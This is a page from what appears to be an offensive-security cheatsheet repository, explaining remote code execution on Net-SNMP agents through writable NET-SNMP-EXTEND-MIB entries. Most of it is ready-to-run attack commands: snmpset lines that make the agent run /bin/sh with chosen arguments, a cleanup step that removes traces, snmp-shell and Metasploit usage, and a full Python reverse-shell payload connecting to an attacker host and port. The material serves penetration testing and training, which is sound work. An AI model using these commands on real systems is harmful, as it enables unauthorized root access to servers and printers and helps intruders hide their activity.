daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

snmp-rce.md (7631B)


      1 ---
      2 title: "SNMP RCE"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-snmp/snmp-rce.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-snmp/snmp-rce.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # SNMP RCE
     14 
     15 On Net-SNMP, a community string or SNMPv3 user with write access to the wrong OIDs can be much more dangerous than simple configuration tampering. If `NET-SNMP-EXTEND-MIB` is writable, an attacker can create an extension command that the agent executes with the `snmpd` process's privileges.<sup>[[1]](#references)[[2]](#references)</sup>
     16 
     17 This technique is mainly about **Net-SNMP** systems exposing **`NET-SNMP-EXTEND-MIB`** with a community/user allowed to **write** into the tree.
     18 
     19 ## Quick Triage
     20 
     21 Before trying to create a new command, enumerate whether the target already exposes **extend** entries and whether your credentials can read the output objects:
     22 
     23 ```bash
     24 snmpwalk -v2c -c <COMMUNITY> <IP> NET-SNMP-EXTEND-MIB::nsExtendObjects
     25 snmpwalk -v2c -c <COMMUNITY> <IP> NET-SNMP-EXTEND-MIB::nsExtendOutput1Table
     26 ```
     27 
     28 Interesting objects to read back are:<sup>[[1]](#references)</sup>
     29 
     30 - **`nsExtendCommand`**: absolute path that will be executed
     31 - **`nsExtendArgs`**: arguments passed to the binary/script
     32 - **`nsExtendOutput1Line`** / **`nsExtendOutputFull`**: stdout of the executed command
     33 - **`nsExtendResult`**: exit code of the command (useful for quick checks, but limited to **0-255**)
     34 
     35 If local MIBs are missing, the extend subtree is under **`1.3.6.1.4.1.8072.1.3.2`**.
     36 
     37 ## Extending Services with Additional Commands
     38 
     39 To extend SNMP services and add extra commands, it is possible to append new **rows to the `nsExtendObjects` table**. This can be achieved by using the `snmpset` command and providing the necessary parameters, including the absolute path to the executable and the command to be executed:<sup>[[2]](#references)</sup>
     40 
     41 ```bash
     42 snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
     43 'nsExtendStatus."evilcommand"' = createAndGo \
     44 'nsExtendCommand."evilcommand"' = /bin/echo \
     45 'nsExtendArgs."evilcommand"' = 'hello world'
     46 ```
     47 
     48 ## Injecting Commands for Execution
     49 
     50 Injecting commands to run on the SNMP service requires the existence and executability of the called binary/script. The **`NET-SNMP-EXTEND-MIB`** mandates providing the absolute path to the executable.
     51 
     52 To confirm the execution of the injected command, the `snmpwalk` command can be used to enumerate the SNMP service. The **output will display the command and its associated details**, including the absolute path:<sup>[[2]](#references)</sup>
     53 
     54 ```bash
     55 snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
     56 ```
     57 
     58 ## Running the Injected Commands
     59 
     60 When the **injected command is read, it is executed**. This behavior is known as **`run-on-read()`**. The execution of the command can be observed during the `snmpwalk` read.<sup>[[2]](#references)</sup>
     61 
     62 A practical pattern is to execute `/bin/sh` (or `/usr/bin/python3`) and pass the real payload in `nsExtendArgs`:
     63 
     64 ```bash
     65 snmpset -m +NET-SNMP-EXTEND-MIB -v2c -c SuP3RPrivCom90 10.129.2.26 \
     66 'nsExtendStatus."id"' = createAndGo \
     67 'nsExtendCommand."id"' = /bin/sh \
     68 'nsExtendArgs."id"' = '-c id'
     69 
     70 snmpget -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendOutputFull."id"
     71 snmpget -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendResult."id"
     72 ```
     73 
     74 ## `run-on-set` and Cache Abuse
     75 
     76 Net-SNMP also supports **`run-on-set`** entries. This is useful if you want to avoid triggering the command every time somebody performs a read on the output objects.<sup>[[1]](#references)</sup>
     77 
     78 ```bash
     79 snmpset -m +NET-SNMP-EXTEND-MIB -v2c -c SuP3RPrivCom90 10.129.2.26 \
     80 'nsExtendStatus."oneshot"' = createAndGo \
     81 'nsExtendCommand."oneshot"' = /bin/sh \
     82 'nsExtendArgs."oneshot"' = '-c id > /tmp/snmp_id' \
     83 'nsExtendRunType."oneshot"' = run-on-set
     84 
     85 snmpset -m +NET-SNMP-EXTEND-MIB -v2c -c SuP3RPrivCom90 10.129.2.26 \
     86 'nsExtendRunType."oneshot"' = run-command
     87 ```
     88 
     89 The output is cached by default for **5 seconds**. Newly created rows are **`volatile`** by default (they do not survive agent restarts), while statically configured `extend` entries usually appear as **`permanent`**. Setting **`nsExtendCacheTime`** to **`-1`** disables caching, but note that reading each individual output object can then execute the command again.<sup>[[1]](#references)</sup>
     90 
     91 ```bash
     92 snmpset -m +NET-SNMP-EXTEND-MIB -v2c -c SuP3RPrivCom90 10.129.2.26 \
     93 'nsExtendCacheTime."oneshot"' = -1
     94 ```
     95 
     96 ## Cleanup
     97 
     98 The created row can be removed after execution to reduce artifacts:
     99 
    100 ```bash
    101 snmpset -m +NET-SNMP-EXTEND-MIB -v2c -c SuP3RPrivCom90 10.129.2.26 \
    102 'nsExtendStatus."oneshot"' = destroy
    103 ```
    104 
    105 ## Gaining Server Shell with SNMP
    106 
    107 To gain control over the server and obtain a server shell, a python script developed by mxrch can be utilized from [**https://github.com/mxrch/snmp-shell**](https://github.com/mxrch/snmp-shell).<sup>[[2]](#references)</sup>
    108 
    109 Alternatively, a reverse shell can be manually created by injecting a specific command into SNMP. This command, triggered by the `snmpwalk`, establishes a reverse shell connection to the attacker's machine, enabling control over the victim machine.
    110 You can install the pre-requisite to run this:
    111 
    112 ```bash
    113 sudo apt install snmp snmp-mibs-downloader rlwrap -y
    114 git clone https://github.com/mxrch/snmp-shell
    115 cd snmp-shell
    116 sudo python3 -m pip install -r requirements.txt
    117 ```
    118 
    119 Interactive-ish shell:
    120 
    121 ```bash
    122 rlwrap python3 shell.py <IP> -c <COMMUNITY>
    123 ```
    124 
    125 If you need to push a longer payload (for example, an SSH public key), the project also ships a **`legacy.py`** helper because writable SNMP string length is usually the limiting factor.
    126 
    127 Or a reverse shell:
    128 
    129 ```bash
    130 snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
    131 ```
    132 
    133 ## Other Useful Tooling
    134 
    135 Metasploit contains **`exploit/linux/snmp/net_snmpd_rw_access`**, which automates staging through writable extend objects when the target configuration permits it:<sup>[[4]](#references)</sup>
    136 
    137 ```bash
    138 msfconsole -q -x 'use exploit/linux/snmp/net_snmpd_rw_access; set RHOSTS <IP>; set COMMUNITY <COMMUNITY>; run'
    139 ```
    140 
    141 ## Recent Real-World Example
    142 
    143 This is still a current attack path and not only an old lab trick. In **June 2024**, Pierre Kim documented **pre-authenticated root RCE** in multiple Toshiba MFP models because they exposed SNMP configuration with default communities (`public` for RO and `private` for RW), allowing the exact same **`NET-SNMP-EXTEND-MIB`** technique to run `/bin/sh -c id` and reverse shells remotely.<sup>[[3]](#references)</sup>
    144 
    145 ## References
    146 
    147 - [1] [NET-SNMP-EXTEND-MIB definition](https://www.net-snmp.org/docs/mibs/NET-SNMP-EXTEND-MIB.txt)
    148 - [2] [Rio Asmara - SNMP Arbitrary Command Execution and Shell](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
    149 - [3] [Toshiba MFP: 40+ vulnerabilities (pre-auth root RCE via SNMP)](https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html)
    150 - [4] [Rapid7 Metasploit - Net-SNMPd write-access code execution](https://www.rapid7.com/db/modules/exploit/linux/snmp/net_snmpd_rw_access/)